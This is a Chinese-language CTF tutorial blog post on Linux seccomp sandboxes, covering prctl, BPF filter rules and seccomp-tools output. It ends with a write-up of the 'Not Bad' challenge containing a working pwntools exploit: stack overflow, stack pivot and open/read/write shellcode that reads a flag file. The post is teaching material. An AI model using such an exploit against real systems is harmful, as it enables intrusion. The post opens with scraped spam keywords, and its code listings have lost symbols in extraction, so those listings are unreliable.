奎屯网站制作,免费企业黄页查询网站,网站邮箱建设,免费手机做网站初识Pwn沙箱
沙箱机制#xff0c;英文sandbox#xff0c;是计算机领域的虚拟技术#xff0c;常见于安全方向。一般说来#xff0c;我们会将不受信任的软件放在沙箱中运行#xff0c;一旦该软件有恶意行为#xff0c;则禁止该程序的进一步运行#xff0c;不会对真实系…初识Pwn沙箱
沙箱机制英文sandbox是计算机领域的虚拟技术常见于安全方向。一般说来我们会将不受信任的软件放在沙箱中运行一旦该软件有恶意行为则禁止该程序的进一步运行不会对真实系统造成任何危害。
安全计算模式seccompSecure Computing Mode在Linux2.6.10之后引入到kernel的特性可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用增加系统的安全性。
在ctf中主要通过两种方式实现沙箱机制
prctl系统调用seccomp库函数
1、prctl函数初探
prctl是基本的进程管理函数最原始的沙箱规则就是通过prctl函数来实现的它可以决定有哪些系统调用函数可以被调用哪些系统调用函数不能被调用。
下面是/linux/prctl.h和seccomp相关的源码
/* Get/set process seccomp mode */#define PR_GET_SECCOMP 21#define PR_GET_SECCOMP 22/** If no_new_privs is set, then operations that grant new privileges (i.e.* execve) will either fail or not grant them. This affects suid/sgid,* file capabilities, and LSMs.** Operations that merely manipulate or drop existing privileges (setresuid,* capset, etc.) will still work. Drop those privileges if you want them gone.** Changing LSM security domain is considered a new privilege. So, for example,* asking selinux for a specific new context (e.g. with runcon) will result* in execve returning -EPERM.** See Documentation/userspace-api/no_new_privs.rst for more details.*/
#define PR_SET_NO_NEW_PRIVS 38
#define PR_GET_NO_NEW_PRIVS 39 prctl函数原型int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4unsigned long argv3)
在具体了解prctl函数之前我们再了解这样一个概念沙箱。沙箱(Sandbox)是程序运行过程中的一种隔离机制其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的seccomp规则的设置可以使用prctl函数和seccomp函数族。
include/linux/prctl.h里面存储着prctl的所有参数的宏定义prctl的五个参数中其中第一个参数是你要做的事情后面的参数都是对第一个参数的限定。
在第一个参数中我们需要重点关注的参数有这两个
PR_SET_SECCOMP(22)当第一个参数是PR_SET_SECCOMP,第二个参数argv2为1的时候表示允许的系统调用有readwriteexit和sigereturn当argv等于2的时候表示允许的系统调用由argv3指向sock_fprog结构体定义该结构体成员指向的sock_filter可以定义过滤任意系统调用和系统调用参数。(细节见下图)PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系统调用execve()函数同时这个选项可以通过fork()函数和clone()函数继承给子进程。
struct sock_fprog {unsigned short len; /* 指令个数 */struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
}struct sock_filter { /* Filter block */__u16 code; /* Actual filter code,bpf指令码 */__u8 jt; /* Jump true */__u8 jf; /* Jump false */__u32 k; /* Generic multiuse field */
};
//seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息
struct seccomp_data{int nr;//系统调用号__u32 arch;//调用架构__u64 instruction_pointer;//CPU指令指针__u64 argv[6];//寄存器的值x86下是ebxexc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}2、prctl()函数详解
prctl是一个系统调用用于控制和修改进程的行为和属性。它可以在Linux系统上使用提供了各种功能和选项来管理进程的不同方面。
以下是prctl函数的基本原型
#include sys/prctl.hint prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); prctl函数接受不同的option选项和参数用于执行不同的操作。下面是一些常用的option选项及其功能 PR_SET_NAME设置进程名称。PR_GET_NAME获取进程名称。PR_SET_PDEATHSIG设置在父进程终止时发送给当前进程的信号。PR_GET_PDEATHSIG获取父进程终止时发送给当前进程的信号。PR_SET_DUMPABLE设置进程的可转储标志影响核心转储。PR_GET_DUMPABLE获取进程的可转储标志。PR_SET_SECCOMP设置进程的安全计算模式。PR_GET_SECCOMP获取进程的安全计算模式。 这些仅是一些常用的选项prctl还支持其他选项和功能。每个选项都有特定的参数可以根据需要传递。具体的参数和行为取决于所选的选项。
以下是一个简单的示例展示了如何使用prctl函数设置进程名称
#define _GNU_SOURCE
#include sys/prctl.h
#include stdio.hint main() {const char* process_name MyProcess;if (prctl(PR_SET_NAME, (unsigned long) process_name) -1) {perror(prctl);return 1;}// 获取进程名称char name[16];if (prctl(PR_GET_NAME, (unsigned long) name) -1) {perror(prctl);return 1;}printf(Process name: %s\n, name);return 0;
} 在上述示例中我们使用prctl函数将当前进程的名称设置为MyProcess。然后我们再次使用prctl函数获取进程的名称并将其打印到标准输出。
请注意prctl函数的具体行为和可用选项可能因操作系统和版本而异。在使用prctl函数时应该查阅相关文档并了解所使用的操作系统的支持和限制。
3、BPF过滤规则(伯克利封装包过滤)
突破沙箱规则本质上就是一种越权漏洞。seccomp是linux保护进程安全的一种保护机制它通过对系统调用函数的限制来保护内核态的安全。所谓沙箱就是把用户态和内核态相互分离开让用户态的进程不要影响到内核态从而保证系统安全。
如果我们在沙箱中完全遵守seccomp机制我们便只能调用exit(),sigreturn(),read()和write()这四种系统调用那么其实我们的进程应该是安全的其实也不一定后面的例题就没有溢出而是通过系统调用直接读取文件。但是由于他的规则过于死板所以后面出现了过滤模式让我们可以调用到那些系统调用。回顾上面提到的PT_SET_SECCOMP这个参数后面接到的第一个参数就是它设置的模式第三个参数指向sock_fprog结构体sock_fprog结构体中又有指向sock_filter结构体的指针sock_filter结构体这里就是我们要设置规则的地方。
我们在设置过滤规则在面对沙箱题目的时候会经常用到Seccomp-tools这个工具。
BPF指令集简介 BPF_LD加载操作BPF_H表示按照字节传送BPF_W表示按照双字来传送BPF_B表示传送单个字节。 BPF_LDX从内存中加载byte/half-word/word/double-word。 BPF_ST,BPF_STX存储操作 BPF_ALU,BPT_ALU64逻辑操作运算。 BPT_JMP跳转操作可以和JGEJGTJEQJSET一起表示有条件的跳转和BPF_JA一起表示没有条件的跳转。 #includestdio.h
#includefcntl.h
#includeunistd.h
#includestddef.h
#includelinux/seccomp.h
#includelinux/filter.h
#includesys/prctl.h
#includelinux/bpf.h //off和imm都是有符号类型编码信息定义在内核头文件linux/bpf.h
#includesys/types.hint main()
{struct sock_filter filter[]{BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节开始传送4个字节BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比较是否为59execve 的系统调用号是就跳过下一行如果不是就执行下一行第三个参数表示执行正确的指令跳转第四个参数表示执行错误的指令跳转BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),// BPF_STMP(BPF_RETBPF_K,SECCOMP_RET_KILL),// 杀死一个进程// BPF_STMP(BPF_RETBPF_K,SECCOMP_RET_TRACE),// 父进程追踪子进程具体没太搞清楚BPF_STMT(BPF_RETBPF_K,SECCOMP_RET_ERRNO),// 异常处理BPF_STMT(BPF_RETBPF_K,SECCOMP_RET_ALLOW),// 这里表示系统调用如果正常允许系统调用};struct sock_fprog prog{.lensizeof(filter)/sizeof(sock_filter[0]),.filterfilter,};prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,prog);//第一个参数是进行什么设置第二个参数是设置的过滤模式第三个参数是设置的过滤规则puts(123);return 0;
} 开始的时候我们设置了sock_filter结构体数组。这里为什么是一个结构体数组呢因为我们看到里面有BPF_STMT和BPF_JMP的宏定义其实BPF_STMT和BPF_JMP都是条件编译后赋值的sock_filter结构体。
#ifndef BPF_STMT
#define BPF_STMT(code,k){(unsigned short)(code),0,0,k}
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k}
#endif 上面的例子中禁用了execve的系统调用号64位系统中execve的系统调用号是59.
BPF_JUMP后的第二个参数是我们要设置的需要禁用的系统调用号。
我们在这里禁用的两个系统调用分别是sys_restart_syscall和execve如果出现这两个系统调用那么我们就会跳转到BPF_STMP(BPF_RETBPF_K,SECCOMP_RET_ERRNO)的异常处理。其实如果我们要直接杀死这个进程的话BPF_STMP(BPF_RETBPF_K,SECCOMP_RET_KILL)这个规则可以直接杀死进程。
GitHub上的一个真实例子
例子
#include errno.h
#include linux/audit.h
#include linux/bpf.h
#include linux/filter.h
#include linux/seccomp.h
#include linux/unistd.h
#include stddef.h
#include stdio.h
#include sys/prctl.h
#include unistd.hstatic int install_filter(int nr, int arch, int error) {struct sock_filter filter[] {BPF_STMT(BPF_LD BPF_W BPF_ABS, (offsetof(struct seccomp_data, arch))),BPF_JUMP(BPF_JMP BPF_JEQ BPF_K, arch, 0, 3),BPF_STMT(BPF_LD BPF_W BPF_ABS, (offsetof(struct seccomp_data, nr))),BPF_JUMP(BPF_JMP BPF_JEQ BPF_K, nr, 0, 1),BPF_STMT(BPF_RET BPF_K, SECCOMP_RET_ERRNO | (error SECCOMP_RET_DATA)),BPF_STMT(BPF_RET BPF_K, SECCOMP_RET_ALLOW),};struct sock_fprog prog {.len (unsigned short)(sizeof(filter) / sizeof(filter[0])),.filter filter,};if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {perror(prctl(NO_NEW_PRIVS));return 1;}if (prctl(PR_SET_SECCOMP, 2, prog)) {perror(prctl(PR_SET_SECCOMP));return 1;}return 0;
}int main() {printf(hey there!\n);install_filter(__NR_write, AUDIT_ARCH_X86_64, EPERM);printf(somethings gonna happen!!\n);printf(it will not definitely print this here\n);return 0;
} 用 seccomp-tools来dump下看看
g01denMSI:~/CTest/seccomp$ seccomp-tools dump ./prctl
hey there!line CODE JT JF K
0000: 0x20 0x00 0x00 0x00000004 A arch0001: 0x15 0x00 0x03 0xc000003e if (A ! ARCH_X86_64) goto 00050002: 0x20 0x00 0x00 0x00000000 A sys_number0003: 0x15 0x00 0x01 0x00000001 if (A ! write) goto 00050004: 0x06 0x00 0x00 0x00050001 return ERRNO(1)0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 禁用掉之后我们通过seccomp来dump一下。我们看到最前面的就是sock_filter结构体的四个参数后面的就是bpf规则的汇编表示。
4、orw
[极客大挑战 2019]Not Bad
先检查下保护
g01denMSI:~/Temp$ checksec pwn
[*] /home/g01den/Temp/pwnArch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: No PIE (0x400000)Stack: ExecutableRWX: Has RWX segments 没有开保护且存在RWX段IDA看看
__int64 __fastcall main(int a1, char **a2, char **a3)
{mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);sub_400949();sub_400906();sub_400A16();return 0LL;
} 函数名等等有问题试着恢复下
__int64 __fastcall main(int a1, char **a2, char **a3)
{mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);seccomp();init_0();vuln();return 0LL;
} 简单恢复了下之后是这样先看看seccomp函数里面很明显存在沙盒可能是种不专业的说法
__int64 seccomp()
{__int64 v1; // [rsp8h] [rbp-8h]v1 seccomp_init(0LL);seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);return seccomp_load(v1);
} 好那么直接用seccomp-tools工具dump一下
g01denMSI:~/Temp$ seccomp-tools dump ./pwnline CODE JT JF K
0000: 0x20 0x00 0x00 0x00000004 A arch0001: 0x15 0x00 0x08 0xc000003e if (A ! ARCH_X86_64) goto 00100002: 0x20 0x00 0x00 0x00000000 A sys_number0003: 0x35 0x00 0x01 0x40000000 if (A 0x40000000) goto 00050004: 0x15 0x00 0x05 0xffffffff if (A ! 0xffffffff) goto 00100005: 0x15 0x03 0x00 0x00000000 if (A read) goto 00090006: 0x15 0x02 0x00 0x00000001 if (A write) goto 00090007: 0x15 0x01 0x00 0x00000002 if (A open) goto 00090008: 0x15 0x00 0x01 0x0000003c if (A ! exit) goto 00100009: 0x06 0x00 0x00 0x7fff0000 return ALLOW0010: 0x06 0x00 0x00 0x00000000 return KILL 最后发现可以利用的系统调用有orw三个那么看看vuln函数
int sub_400A16()
{char buf[32]; // [rsp0h] [rbp-20h] BYREFputs(Easy shellcode, have fun!);read(0, buf, 0x38uLL);return puts(Baddd! Focu5 me! Baddd! Baddd!);
} 这里存在栈溢出感觉可以打shellcode但是明显发现栈的长度不够ret2shellcode推测一手栈迁移试试看。
经过动调之后发现在执行到函数mmap之后存在一个可写可执行权限的内存段扔一个小知识点这里mmap参数类型是起始地址大小保护类文件描述符]等
pwndbg vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATAStart End Perm Size Offset File0x123000 0x124000 -wxp 1000 0 [anon_00123] 可以将栈迁移到这儿去再执行shellcode或者syscall读文件不过这个要之后再说了。大概思路说下吧先通过shellcode调用read函数将读文件写入内存然后输出这样的一个顺序先贴一下exp
from pwn import *
#from LibcSearcher import *# context.terminal [tmux, splitw, -h]
Locale 0
if Locale 1:io process(./pwn)
else:io remote(node5.buuoj.cn,26888)#elf ELF(./pwn)
context(archamd64, oslinux, log_leveldebug)def exp():# gdb.attach(io)mnap 0x123000jmp_rsp 0x0400a01io.recvuntil(Easy shellcode, have fun!\n)shellcode asm(shellcraft.read(0,mnap,0x100))shellcode asm(mov rax,0x123000;call rax)payload shellcode.ljust(0x28,ba)p64(jmp_rsp)asm(sub rsp,0x30;jmp rsp) #这里的减0x30我没怎么看懂记录在这儿io.send(payload)payload2 asm(shellcraft.open(./flag)shellcraft.read(3,mnap0x100,0x100)shellcraft.write(1,mnap0x100,0x100))io.send(payload2)exp()io.interactive()
参考文章
从prctl函数开始学习沙箱规则
BPF详解
函数 prctl 系统调用